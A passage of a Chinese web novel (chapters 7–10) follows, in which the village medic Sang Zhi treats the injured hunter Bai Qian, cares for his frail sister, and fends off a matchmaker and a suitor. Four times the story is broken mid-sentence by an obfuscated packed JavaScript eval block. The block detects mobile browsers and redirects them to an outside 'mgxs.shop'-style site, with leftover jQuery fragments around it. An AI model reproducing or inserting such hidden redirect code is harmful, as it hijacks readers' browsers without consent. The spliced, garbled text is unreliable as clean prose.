;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376820|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午了。 “大姐姐留下一起吃吧。” 桑枝不好意思留下来吃饭，她倒是比较担心小姑娘是怎么做饭的，若是不小心被烫到可怎么办？ “不用了，要不姐姐帮你……”桑枝话说到一半，忽然想起自己更不会做饭，只好闭上嘴。 “大姐姐，你跟我来。” 白英拉住她的手走进灶房，灶台太大了小姑娘够不着，窗边小炉子上的砂锅正冒着热气，传来阵阵米香。一旁的案板上放着一盘胡瓜炒鸡蛋，大瓷碗里还装着四个白白胖胖的馒头。 “小英会自己做饭的。” “小英真厉害，馒头也是你蒸的吗？” 小姑娘十分羞涩的笑笑，“馒头是哥哥蒸的，我只要热一下就好了。” “你哥哥还会做饭啊？” “哥哥做饭可好啦！” 也是，家里只有兄妹两个，可不得是哥哥做饭吗？ 白英又拉着她四处转悠，桑枝这才发觉这座茅草屋远比她以为的要好很多。 外头的围墙应是上个猎户留下专门防猛兽的，因此围墙才砌的那么高。 院子宽敞，没种什么菜，但收拾的干净，墙角一棵花开得正好的桃树下拴着一匹高大的黑马，正低头吃草。 这屋子从外面看着简陋，里面家具却样样不缺，而且都是崭新的，灶房里锅碗瓢盆样样不缺，数量还不少。 看来白前在山上过得也很好，哪里是村里人传言中的模样。 他应当只是不想多跟人接触吧。 最后桑枝还是被留着吃了顿饭，白前只能坐在床上吃，她就陪着小姑娘在堂屋吃。 “小英，你刚才是怎么找到我的？” 白英拿着一只比她的手掌还要大的白馒头，看了一眼敞开的房门，低声道：“哥哥不让我下山，我是偷偷下山的，想找个人帮帮哥哥。我听到那天去过的那个地方有声音，就想过去看看会不会是大姐姐，结果真的是大姐姐！” “我运气好！”小姑娘有些俏皮的扬起脑袋，又有些羞涩的说：“还有，谢谢姐姐送给小英的松子糖。” “不用谢。”桑枝伸手摸了摸小姑娘的脑袋。 “小英几岁啦？” “八岁啦！” 八岁？ 小姑娘看着跟六岁的小孩差不多大，竟然已经八岁了。 她的头发细软，还有些黄，脸色更是称不上好，整个人十分瘦小，吃饭明显很费力，感觉明明吃不下，却仍是要吃下去的样子。 刚才拉着自己一路过来，路上也不住的喘气，十分疲累的模样。 应当就是白前说的，娘胎里带来的弱症。 “哥哥说，要多吃饭，还要多吃鸡蛋。”白英说着，又夹了一筷子鸡蛋，很慢很慢的嚼着。 桑枝忍不住说：“小英，姐姐……” 躺在屋里的人突然出声：“桑大夫，劳烦你过来一下。” 桑枝走进去，“怎么了？是突然哪里疼了吗？” 白前摇摇头，压低了声音道：“不要提给她治病的事情，小英她很害怕大夫。” “我没告诉她你是大夫，你也不要在她面前提及。” 纵然不知道是为什么，但眼下不是一个询问的好时机。 吃过饭，桑枝又看了一次白前的伤口。 “我下午拿药上来，以后会每天来给你换一次药。” “不用这么……” 白前推拒的话到嘴边，看到她不容拒绝的锐利眼神，又把话咽了回去。 8. 第 8 章 桑枝到家时已过申时，往常若是不忙，这个时候家里人都各自在屋里休息，今天她还没走到门口，就听到里面有人说话，几分嘈杂，应是有客来。 她推开院门一看，坐在院子里的除却自家人，还有个穿着喜庆，头戴大红绢花的妇人。 这人她认得，是住在隔壁村里的朱媒婆，上次便来过，还被她大哥轰了出去，眼下又来，还一脸从容，神态自若，像之前的事情没有发生过似的。 她冲桑枝招招手，“哎呦！小枝回来啦？快来坐！” 不管她这次来是为什么，桑枝还是扯出一个笑，喊了声：“朱婶儿。” 朱媒婆转头就对刘蔓湘赞道：“瞧瞧！你家这姑娘！长得好，性子也好！” 刘蔓湘笑了两声，没说话。 桑枝把差点儿擦着自己脚边跑出去的大黑跑抱进院里，背篓取下放到灶房的门槛边，舀水洗了手才走过去。 周云莹给她抽出把椅子放在自己旁边，桑枝顺势坐下。 朱媒婆清了清嗓子，才道：“我前脚进你们家门，后脚小枝就回来了，可不是缘分吗！” 刘蔓湘沉不住气，“有什么事你就说吧。” “哎呦！刘姐姐！你可真是着急！我能上门，那不都是天大的好事儿吗？” 不仅她娘急，桑枝自己都急了，她还要上山送药去呢。 桑正礼敲了敲桌子，开口道：“朱媒婆，上次的事儿你还没忘吧？” 朱媒婆脸色一变，帕子一挥又换上一副笑脸，“哎呦！里正呐！上次的事儿是我昏了头，听人家那么一说跟真的似的，还以为你们两家真就定下了，这才引人上门提亲的。” “我也是遭人骗了不是？” 不愧是干这一行的，嘴皮子比谁都利索，三两句话就把自己摘了出去。 附近几个村子独朱媒婆一个媒人，每年那么多桩亲事，大部分都是她促成的，倒没听说过她给说成的亲事不好的。 桑盛和周云莹的事，当时也是朱媒婆前前后后都帮着尽心操持。 她的话真假暂不知，上次也是三叔擅自去找的那家人。 且就事论事。 桑枝没开口，也没打算开口，反正她爹娘也会听她的意思，若是不合适，没到她这儿，她爹娘就给拒了。 桑正礼轻咳一声，“这次是哪户人家啊？” 朱媒婆一听有戏，忙道：“是县里一户人家姓李的人家，做绸缎生意的，家里就那么一个儿子，年前刚满十九岁，读了几年书就跟着家里做生意了，相貌周正，个子也高。” “那他家是如何知道我家小枝的？”桑正礼问。 朱媒婆笑看一眼桑枝，“说是去医馆的时候看到的，人一眼就瞧中了。” 一家人齐齐看向桑枝，她茫然抬头。 朱媒婆一拍大腿，“那公子说了他没敢去打扰小枝，还是单相思呢。” 单相思三个字把桑枝说的头皮发麻。 朱媒婆又道：“所以这次他家托我来呢，便是问问，若是你们有意，咱们就找个机会相看相看，见一面。” 刘蔓湘点点头，“倒是户知礼的人家。” 末了跟桑正礼对视一眼，对朱媒婆道：“这事儿急不来，我们再想想。” “是，成亲是大事儿，急不得。那户人家也说了，不用着急。”朱媒婆站起来，“那我走了，你们若是有个什么想法了，给我说一声，我给人答话。” “行。”刘蔓湘招招手，“桑盛，送送你朱婶子。” “欸！” 桑盛走到朱媒婆跟前，跟座山似的，朱媒婆身子一僵，连连摆手，“我自己走就成，自己走就成。” “婶子，”桑盛侧身给她让路，脸上笑意不变，“我送你到门口。” 朱媒婆不敢再拒绝，只好跟着他走。 上次被赶出桑家的事儿哪有那么容易忘记，这桑盛黑着脸生气的模样可真是吓人，朱媒婆着实不敢看他。 她提心吊胆的走着，刚一脚踩出门外，桑盛突然道：“之前我和云莹的事，劳朱婶子费心了。” 朱媒婆一怔，连连摆手，“不费心，哪里费心了，你们俩过得好就成。” 桑盛一点头，“那我就送婶子到这儿了。” 他走回院子里，刘蔓湘看他一眼，“你瞧瞧，又把人吓着了。” 桑盛勾唇一笑，“娘，你的意思不就是让我吓吓她吗？” 刘蔓湘赞许的看了他一眼，“这下她肯定不敢再给我们小枝介绍什么奇怪的人家了。” “放心吧娘，若是再来个上次那样的，我直接打出去！”桑盛挥了挥拳头。 桑正礼轻斥了一声，“安分点儿，整天捏着个拳头，像什么样子？” 周云莹抿着唇就知道笑，扯了下桑盛的衣摆。 桑枝看她爹那副模样，也不是真骂她大哥。 趁着桑盛和周云莹去灶房，刘蔓湘把桑枝拉住，轻声问道：“娘问你，那人莫不是你在医馆就看中的？这才上门……” 她娘这是以为她自己先跟人家谈了啊？ 桑枝连忙打断她娘的话，哭笑不得，“娘，医馆每天进进出出那么多人，我哪里知道是哪个？我也不认得什么姓李的公子。” “原是这样……”刘蔓湘兀自思索了一会儿，又笑了，“那就是我们小枝招人喜欢！” “娘！”桑枝没想到她娘还会这么想。 桑正礼道：“小枝，我和你娘都看你的意思，你若是有意，咱们就见一面，若是不想去，拒了便是。” “还是不见了吧。”桑枝给自己找了个理由，“我想离爹娘近一点儿。” 刘蔓湘一听这话，眼泪就在眼眶里打转，“那娘过几天就给回话。” 桑枝握住刘蔓湘的手，由衷说了句：“谢谢娘。” “谢什么？”刘蔓湘不愿意叫人看出来自己掉眼泪，“娘去看看惜儿睡醒了没？中午没叫她，还在我床上睡着呢。” 总算没事了，桑枝急匆匆回自己屋里，找了一瓶适合白前吃的药。 出门前还得给家里人说一声，方才还在院子里的桑正礼不见了，只有桑盛在菜地里拔草。 “哥！我出门一趟，晚饭前回来！帮我跟爹娘说一声。” “干什么去？”桑盛看她那副急匆匆的模样，也不知道在急什么。 桑枝冲他一扬手里的瓷瓶，“我治病救人去！” 这次只为送药，桑枝没背背篓也没拿别的，很快便赶到白前家。 她敲了敲门，没人应声，手一推发现门竟然没锁。 桑枝走进去，院子里也静悄悄的，只有一匹大黑马。 “桑大夫？” 白前的声音从屋里传来，桑枝走过去，看到他的房门大敞，人在床上靠着。 “怎么不锁门？晚上山里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376821|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不安全。”桑枝把带来的药拿出来放到桌上，走到床边看他的伤口。 “英儿说你要来，给你留门。” “她人呢？” “白天太累了，在睡。” 桑枝看完白前的伤口，瞥见床头放了根拐杖，“你下过地了？” 白前磨蹭了一下，然后说：“叫英儿帮我找出来的，人有三急。” 桑枝一下子笑出声，“我去灶房给你倒水，你把药喝了我再走。” 灶房里炉子上的水壶尚有余温，应是白英特地留下的，桑枝倒了一碗。 回去之后，桑枝盯着他把药喝了，还想问问白英的病。 白前把碗放在床头，“你再不下山天就要黑了。” “本来我想回家取了药就要来的，但家里来了个媒婆。” 白前眼眸动了动，“媒婆？” “是啊，你说烦不烦人？”桑枝收拾了一下药瓶，皱着眉头闲聊似的说：“还得将人迎进屋里喝口茶水再走，耽误了点儿时间。” 白前正要说话，对面那间屋子门被打开，白英吧嗒吧嗒跑过来，“大姐姐来啦？” “小英醒了？” 小姑娘点点头，抱着桑枝的胳膊，“大姐姐还是留下吃饭吧！” 桑枝摸摸她的头，“今天太晚了，大姐姐就不留下了。” 白前招招手，把妹妹叫到自己身边，“你大姐姐现在留下不合适。” 桑枝：“？” 什么叫留下不合适？ 桑枝正想追问，白前又道：“你再不走天真就要黑了，山里危险。” “行，那我走了。” 再不走她家里人也着急了。 桑枝赶回家，正好赶上开饭，这下又少不得刘蔓湘一顿数落。 她乖乖听训，没还嘴。 这几天都要上山帮白前换药，她就没去县城，晚上还要在屋里背好半天的书。 一连几天都往山上跑，每回都带着药材回来，刘蔓湘也没问什么，只当她是一个冬天没去成山上，开了春可劲儿就往山里去。 白前要给她银子，她也没客气，便收了那瓶药的钱。 这人也不愧是上过战场的，在床上躺了没几天便拄着拐杖慢慢下地了。 她尽职尽责，还是要算着日子上山给他换药。 这天她刚下山回到家，刘蔓湘便递给她一封信，说是医馆送来的。 她拆开一看，是她小师叔的字，问她怎么一连几天都不来医馆。 寥寥几笔，桑枝却看得头皮发麻，透过信纸都能瞧见小师叔那不怀好意的笑脸。 小师叔人看着吊儿郎当，整天笑眯眯的，实则对她也分严厉，她刚学穴位的时候，没少被他折腾，甚至还罚抄过几次。 杏仁医馆三个大夫，名义上她是池大夫的徒弟，实则其他两个师叔对她也决不吝啬，所以事实上她有三个师傅。 其他两个师叔都没徒弟，小师叔是懒得管弟子，大师叔是醉心医术，不想收徒弟。 两个人都三十好几的人了，也都没成亲。 小师叔她知道，是个闲不下来的人物，每年都要用几个月时间出去云游，不愿成亲。大师叔……传闻他有个爱慕的姑娘，只是桑枝从没见过，也从没听他提起过。 桑枝看了信没敢耽搁，正好第二天早上她大哥和大嫂也要去城里，便坐了家里的牛车，也省下两枚铜子。 9. 第 9 章 坐家里的牛车要方便许多。车上宽敞，除却桑枝和周云莹占着一块地方，就只放着一篮子鸡蛋和一些竹编筐篮，这都是周云莹要拿去卖的。 还有桑枝的小背篓，里面装着几样她这几天攒下来的药材，刚好拿到医馆去卖。 走上官道没一会儿，周云莹忧心忡忡，“惜儿醒了不见我，准要哭闹。” 桑盛坐在前面掌车，闻言道：“上县里带着你不放心，不带着你也不放心。” “县里集市上人那么多我当然不放心，还是得留在家里。”周云莹抱着装鸡蛋的篮子，“我就是心疼。” 桑盛宽慰她：“放心，有娘在呢，她知道怎么哄。” 又说：“我哪天有空了去找木匠给她打个小床，都三岁了还整日要跟你睡。” 周云莹直起身子，立马反驳道：“才三岁的孩子怎么自己睡？最起码也等她长到八九岁再说。” 不等桑盛开口，她又接着道：“就算八九岁，要她自己睡，我这心里都不踏实。” “那你也不想想我……”桑盛没回头，一直看着路跟周云莹说话。 周云莹红了脸，扑上前掐了一把他的胳膊，“说什么呢你。” “嘶……疼，你好狠的心，只疼惜儿不疼我？” 桑枝实在受不了，“我说亲哥，我还坐车上呢。” 桑盛捂着呲牙呲牙咧嘴，转头看向她嫂子的眼神里全都是笑意，到底哪里疼了？ 他复又看一眼桑枝，说了句：“我知道你在啊。” 一副……很想让桑枝揍他一顿的表情。 周云莹叫他转过头好好看路，自己坐回来，红着脸也不好意思跟桑枝说话。 小时候桑枝跟桑盛经常打架，她比桑盛小了整整六岁，跟他打架桑枝从来没赢过。 虽然其实是桑枝单方面挑衅，她比桑盛矮太多，根本揍不过他。桑盛也不会真动她，回回一只手就能把她制住。 但她也有法子，看到刘蔓湘和桑正礼就嚎啕大哭，然后桑盛就会遭一顿骂。 桑正礼有很长一段时间嘴上说的最多的一句话就是：“你个臭小子别老是欺负你妹妹！” 话是这样说，兄妹俩感情却好，一起经历过狗都嫌的玩闹年纪，桑盛带着小豆丁一般的桑枝，在村里的小孩一群孩子里当老大。 所以桑枝从来没受过欺负，手上的糖也从来没有小孩敢跟她抢。 谁都知道她有个护短的厉害哥哥。 后来桑盛到了年纪，情窦初开，看上了隔壁村子的周云莹，就撺掇桑枝帮她给周云莹送东西。 她那时候年纪也不大，第一次去就站在周家门口喊：“云莹姐！我哥叫我给你送大肉馅儿包子！” 躲在远处树底下的桑盛一听，知道要坏事儿，冲过去要把她拉回来，结果抬头就对上打开门走出来的周云莹。 两个人齐齐红了脸，站在原地傻愣着对视。 站在一边的桑枝闻着包子的香味，忍不住打开纸包，把包子给吃了。 所以桑枝一直觉得，她哥和她嫂子能成，自己有很大一部分功劳。 于是桑枝冲着桑盛的背影道：“哥，中午请我下馆子呗！” “成啊！想吃什么？” 桑枝故意说：“大包子，肉馅儿的。” 桑盛笑看她一眼，又转头回去看路，“吃什么包子啊？哥中午请你吃宋嫂鱼羹！连带着你嫂子的份儿！” “大嫂你帮我作证！” 周云莹也想起了从前的事，不由得勾起嘴角，“好，大嫂给你记着。” 下馆子纵然快乐，但在这之前她还得去一趟医馆，她估计自己要挨训。 桑枝跟哥嫂在市集口分别，迈着沉重的步子往医馆去。 进门前，她扒着门框往里偷看，门口一个药童看到她，喊了声：“桑——” “嘘——”桑枝压低了声音问他：“小师叔在不在？” 药童十分配合的也低声道：“在呢，刚进去给人施针。” “那就好，那就好。”桑枝长舒一口气，走进了医馆。 在她小师叔忙完之前，她决心好好表现，希望这样小师叔能少说她几句。 这个时候医馆正是忙碌的时候，眼下没有人要找桑枝看诊，她就在抓药的地方帮忙。 桌案前站着许多等药的人，桑枝没拿戥子抓药，动手帮着打包。 面前这么多人，一点儿闲话顺着耳朵就进去了。 “哎呦你看！绸缎庄那个李少爷又来了？” “什么叫又来了？医馆还天天来啊？” “我也是听人说的，这李少爷这几日天天往医馆跑，也不看诊，每次只买两三样药，在这儿坐好几个时辰。” 桑枝耳朵动了动，顺着他们说话的方向看去，见门口果真站着一个穿着锦衣的年轻公子。 这就是那李少爷？ 确实一表人才。 但桑枝没那个心思，前几天刘蔓湘也去过朱媒婆那里拒过了。 她刚想转开头，就对上了李公子的眼睛。 然后李公子眼前一亮，快步朝她走了过来。 糟糕！ 桑枝迅速低下头，余光瞥见人已经站在她面前了。 “姑娘……” 她只能当作不知情，重新抬起头，客客气气道：“公子是看诊还是抓药？” 李公子的眼神瞬间黯淡下来，“姑娘……姑娘不认得我？” 桑枝一脸疏离，“我与公子并不相识。” 李公子露出一个难看的笑，“是在下唐突了。” 然后仿佛失魂落魄一般，跌跌撞撞的走了出去。 桑枝刚松了一口气，想来他也不会再找来了。 “几日不见，小枝都有风流债啦？” 这等阴恻恻的语气。 桑枝几乎能感觉到她后背汗毛竖立！ “小……小师叔。” 桑枝转过身，十分没底气的叫了一声。 于羽一拍折扇，“跟我去后院。” 旁边几个药童传来同情的目光。 “还记得自己几日没来了吗？” 后院地方宽敞，几个整理药材的药童都躲得远远的。 桑枝背着手站在于羽面前，老老实实回答：“六……八天？” 三个字说的尤其不确定。 “哼。”于与冷笑一声，“师兄走之前是说过叫你不用来这么勤，他可说过叫你一连八天都不来吗？” 桑枝偷瞄一样于羽，看来是八天，她没数错。 于羽没发现她的小动作，“这几天在家里都做什么了？有没有好好背书？” “背了！” 桑枝在这件事上胸有成竹，她不怕考！ 毕竟也挑灯夜读了这么多天！ 谁知道于羽根本没考她，拿着扇子继续数落她：“你在医术方面天赋确实高，比我和你大师叔当年都学得快些。” “但治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376822|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病救人……光靠背书可不行。” 桑枝知道小师叔说的是何意，这几日她因为白前的事情耽搁，一方面也的确想着再攒些药材再来。 “小师叔，我知错了，以后一定每……尽量每三天就来一次。” 于羽突然又笑了，桑枝往后退了一步，谨慎的看着他。 “这么紧张做什么？小师叔有这么可怕？” 桑枝摇头，“没有！” “那就行，对了，”于羽突然凑近她，饶有兴趣的问：“方才那个姓李的公子，是你什么时候欠下的风流债啊？” “小师叔……”桑枝一言难尽的看着他，“刚才你还训我来着……现在问这个问题，合适吗？” “怎么不合适？”于羽一挑眉，“而且……我刚才训你了？” 桑枝又退后半步，“没……没训……” “那你给小师叔讲讲，那个李公子是怎么回事儿？” “就是路人，我不认识他……” 桑枝眼睛四处乱转，看到远处站在门边朝这边张望的的宽厚身影，喊了一声：“大师叔！” 于羽也看到了，拿扇子轻轻点了下她的脑门，“又叫你大师叔来帮你是吧？” 陆怀几步走过来，直接对着于羽道：“你又趁着师傅不在欺负小枝？” “我没有……师兄你明察秋毫啊！” 桑枝在旁边偷笑，被于羽看到，他赶忙道：“方才我看到个年轻公子来找小枝！” ？ 小师叔你害人不浅啊！ 见大师叔都好奇的看过来,桑枝只好把事情解释了一遍。 两位师叔都表示若是那个人下次再来打搅她，他们会帮她盯着。 “师叔们有心了，那人十分知礼数，应当不会再来了。” 在医馆待到差不多时辰，桑枝去集市上跟哥嫂汇合，三个人一起去桑盛找的小馆子吃宋嫂鱼羹。 这家专做宋嫂鱼羹的小馆子在一条十分繁华的街上，一路上都是饭馆茶摊，沿街还有杂耍。 接待的小二十分热情，把他们领到楼上靠窗的位置，又递上食单，给他们添茶水。 桑盛说着一会儿给爹娘买几样爱吃的回去，再给惜儿买一碗甜羹。 正吃着饭，对面突然传来桌椅碰撞，碗碟碎裂的声音。 这是有人闹事？ 桑枝朝楼下看去，看到对面铺子里滚出来一个灰扑扑的人影，几个人影冲出来又踹了那人几脚。 “没钱来还敢来我们这儿？” “滚出去！这里不是你撒野的地方！” 这一闹，街上的人群都散开了，躺在地上的人好一会儿才爬起来，冲着里头骂了几声。 “不就是钱吗？爷还能弄不来钱？” “见钱眼开的东西！还不让老子玩？” “你们给老子等着！老子到时候……再来收拾你们！” “你们把……把老子的酒……” 那人抱着一个破酒坛骂骂咧咧的走了几步，转头吐出来一口血，桑枝看到他的侧脸，一惊，连忙对桑盛道：“哥……” “那下面是间赌场。”桑盛简单说了句，又冲她摇摇头，示意她别看了，“不关咱们家的事。” 他给周云莹和桑枝一人夹了一筷子鱼，笑道：“快吃吧，难得下一次馆子。” 桑枝提起筷子夹菜，心里却还想着方才的事情。 方才那人她看得真切，是她三叔家的儿子桑全。 10. 第 10 章 虽说三叔是三兄弟里年纪最小的，成亲却是最早的，生下的儿子桑全年纪也是几个堂兄妹里最大的。 这堂哥整天神出鬼没，不常在村里，桑枝只知道她那个堂哥游手好闲，却不知道他竟然还去赌钱。 这件事在她心里堵了好几天，虽说跟她家没关系，但真要有什么事，三叔肯定会来找她爹。 但一连几日都风平浪静，想来她这个堂哥没惹出什么祸。 算算日子她师傅还有几天就要回来了，桑枝磨了两个师叔好些天，好歹给自己讲了几回课。 所以桑枝这次去白前的小茅屋，还带了本书。 白天的时候，小屋的院门几乎不关，桑枝一回生二回熟，她也来了许多次，敲了敲门直接进去。 “小枝姐姐来啦！” 自从白英知道了她的名字，就对她改了称呼，小姑娘说，觉得这样更亲近。 桑枝摸了摸小姑娘的头，看到白前坐在院子里，受伤的左脚不太自然的放在一条矮凳上，面前一个炉子，上面的圆肚大砂锅正冒着热气。 “好香啊，做的什么？” 白前专注看着砂锅下面的火，“鸡汤。” 桑枝这几天没少在这里蹭吃蹭喝，自白前可以驻着拐杖下地，他便每天亲自做饭，桑枝来得巧呢，便有她一碗。 看来今天算是赶上了。 白前做饭的手艺很好，若不是桑枝亲眼所见，她也不敢相信这人能用骑马射箭的手握菜刀，还能把胡瓜丝切得那么细。 “先换药吧。” 留白英在炉子面前看着火，白前撑着拐杖站起来，往里屋走。 桑枝伸手去扶，“你慢点儿……” “不用。”他猛地侧身，险些摔倒也要躲开桑枝的手。 “我有这么可怕？”桑枝的手还在举着，没来得及收回去，“从来没有人这么嫌弃过我呢。” 白前扶着墙面站起来，慢慢往屋里挪，“不合适。” “不合适？”桑枝气笑了，“我都给你换了这么多次药了，之前怎么不说不合适？” 白前闷声坐在床边，将脚挪上去，“之前说过。” “是吗？”桑枝想了一下，“算了，不跟你计较，你是我的病人，我当然要负责到底。” “嗯……恢复的不错。”桑枝换药的时候观察了一下伤口，“消肿了，青紫也褪了许多。” “多谢。” 桑枝收拾好药瓶，“不必道谢，我收了药钱，还整天在这里蹭吃蹭喝。” “顺便的事。” 换完药白前还要去外面守着鸡汤，桑枝这次没扶他，看他驻着拐杖一步步挪出去，自己不紧不慢的跟在后面。 小姑娘很乖的坐在桑枝旁边，陪着她看医书，但没过一会儿就困了，揉着眼睛要去睡觉。 等她走进屋里关了自己的房门，桑枝才道：“她每日都困乏，身子虚弱，不吃药可不行。这些滋补的饭菜她吃了固然好，但总归没有直接吃药来得快。” “她不愿吃药。” 面前的炉子阵阵飘香，白前掀开盖子看了一眼，澄黄的鸡汤清亮，圆乎乎的香蕈和雪白软糯的山药在里面翻滚。 “能跟我说说原因吗？我想帮她。” 白前放下搅汤的勺子，转头看了眼房门，才道：“小时候喝了太多药，不肯喝，也怕见大夫。” “我离家太久，只记得这些。” 言语之间的意思应当是还有其他原因，但他这个当哥哥的也不甚清楚。 桑枝点点头，“原是如此，只能等我跟她再熟悉一段时间再说了。” “多谢。” 白家院子里的这棵桃树已经开满了粉白的桃花，落了大黑马一身。 一时无话，桑枝便安心坐着，翻了几页医书。 白前见状，也没打扰她，拿出一块干净的软布，十分仔细的擦自己的两把匕首。 这两把匕首跟随他多年，白前尤为珍惜。 鸡汤的香味越来越浓，桑枝肚子里的馋虫也被勾了出来，她把自己从书里拔出来，悄悄嗅了下香味。 白前明明正仔细的用勺子搅汤，头也没抬，却似是看出来她心中所想，“等英儿睡醒就可以喝汤了。” “你怎么这么会做饭啊？” 白前盖上锅盖，看了她一眼，这眼神就像是在说：“你难道不会做饭吗？” 桑枝捏着书，十分没有底气的问：“怎么？” 他摇头，十分缓慢的说：“小时候跟着母亲学的。” 桑枝露出一点羡慕的神色，“我也跟我娘学了，怎么就学不会呢？” “各有所长。”白前道：“你会治病救人。” 桑珠笑了两声，“我娘也这么说。” 屋门吱嘎一声响，白英睡醒起来了，她自己跑去灶房打水洗了脸，又过来，举着梳子往白前面前一坐，“哥哥，梳头。” “你竟然还会给小姑娘梳头啊？”桑枝十分惊奇看着白前用梳子把白英的头发梳顺，然后拿出两根花绳，给她扎了一个特别可爱的双髻。 “哥哥可厉害啦！”白英乖乖坐在小板凳上，“会做饭，会梳头，还会去树林里打猎！” 白前的脸肉眼可见的变红，他把梳子还给白英，叫她自己收拾好，又转头对桑枝道：“你别听她胡说。” 桑枝嘴角噙着笑，“她说的不都是事实吗？” 小姑娘睡了一觉恢复了些精神，放了梳子蹦蹦哒哒出来，坐到桑枝身边，跟她说：“哥哥什么都好，就是没有娘子。” “小枝姐姐，你说哥哥什么时候才有娘子啊？” “小枝！”白前喊了一声，语气中难掩羞恼。 桑枝已经笑得前俯后仰了，“英儿这么想要大嫂吗？” “大嫂是什么？” “大嫂就是你哥哥的娘子。” “那英儿想！”小姑娘晃晃腿，“这样就有人陪英儿玩啦！” 桑枝揉揉她的头，“会有的，也会有人陪小枝玩的。” 白英又仰起头看她，“那小枝姐姐有夫君吗？” “这个还没有呢。” “那小枝姐姐想要什么样的夫君啊？” 桑枝往后靠在椅背上张开手臂伸了个懒腰，她望着头顶明晃晃的太阳，飘来阵阵鸡汤的香味。 她想了下，说：“我啊……大抵是想要个会做饭的吧。” 她自己不会做饭，要是两个人都不会，以后日子都没法儿过了。 正往桌子上摆碗筷的白前手一颤，下意识看向桑枝，却见她笑着跟白英说话，方才这句话不过是顺口一说。 白英得了答案，转头去缠白前，“那哥哥呢，你想要什么样的娘子？哥哥？” 白前猛地收回目光，垂下眼帘，“你都是听谁说的这些？” “从前听娘亲说过哥哥！” 白前未言，掀开砂锅的盖子，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376823|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以喝汤了。” 鸡肉已经炖到软烂，山药用筷子一戳就碎，香蕈也吸满了汤汁，若是一个不小心，还会烫口。 这小火慢炖一个多时辰的鸡汤，只需在出锅时撒一点盐，就足够好喝了。 桑枝捧着碗，信誓旦旦的跟白英说：“你哥哥这是害羞了。” 小姑娘跟着点点头，“我也这么觉得。” 桑枝陪着兄妹两个喝了碗汤，又背上背篓下山去了，路上难免停下来挖几株药材，不一会儿又装了小半篓。 转眼马上就要清明了，届时她定然是跟往年一样，要去医馆里帮忙。 杏仁医馆每年清明前后都会选一天，用艾叶做成青白团子，分给城里的百姓吃。 虽然自家也要做，但到了季节，房前屋后都是艾叶，眼下倒不急着采摘。 下山路上没遇到几个人，她不由得加快了步子。 山口处一座很小的土地庙，村里人时常会去供奉，摆上香烛和瓜果。 天色略有些暗，桑枝远远看到庙前站了一个人，走近了才瞧见那人是桑全。 她快速看了一眼就埋头走路，只当作没看到这人，正要走过去，就听见桑全叫她，“堂妹上山去了？” 桑枝只好停下，转头冲他点头，不咸不淡的打了声招呼：“堂哥。” 桑全手里捏着一个馒头大口吃着，一看就是从庙里拿的贡品，原本白色的馒头沾满了他灰色的指印。 “堂妹这是……又去采药去了？”桑全细小的眼睛里露出一丝不怀好意，语气更是古怪：“堂妹真是去采药的？” “嗯，采药去了。”桑枝强忍着不适收回目光，没细想他方才话里的意思，“堂哥，我就先走了。” 说完，桑枝没往那边看，走远了才敢加快了步伐。 她一路都没回头，却能一直感觉到身后刺人的目光和奇怪的笑意。 走到村里人多的地方桑枝才放慢了步子，长出一口气。 虽然她跟这个表哥不熟悉，更没过节，但他那阴恻恻的眼神，十分叫人不适。 “小枝，站在这儿干嘛那？怎么不走？” “哥。”桑枝叫了一声，看到自己家里人，她方才心底的那点儿不适才彻底消息。 桑盛却看出她脸色发白，连忙问她：“怎么了？刚才遇上什么事了？” “刚才遇到堂哥了。”桑枝说。 “堂哥？”桑盛想了一下，脸色瞬间阴沉下来，“桑全？他在哪儿？他刚刚欺负你了？” 桑枝赶忙解释：“没有，他就问我是不是上山采药，跟我说了两句话，没欺负我。” 桑盛仍阴沉着脸，看了左右无人才低声道：“那天在城里遇到他的事情不要告诉别人，你就当不知道那个事情。” “嗯，我就当没见过他。” “给。”桑盛递过来一个篮子。 桑枝伸手接住，“是什么啊？” “你看看就知道了。” 桑枝掀开篮子上的布一看，惊呼出声，“兔子！哥你哪里买来的？” 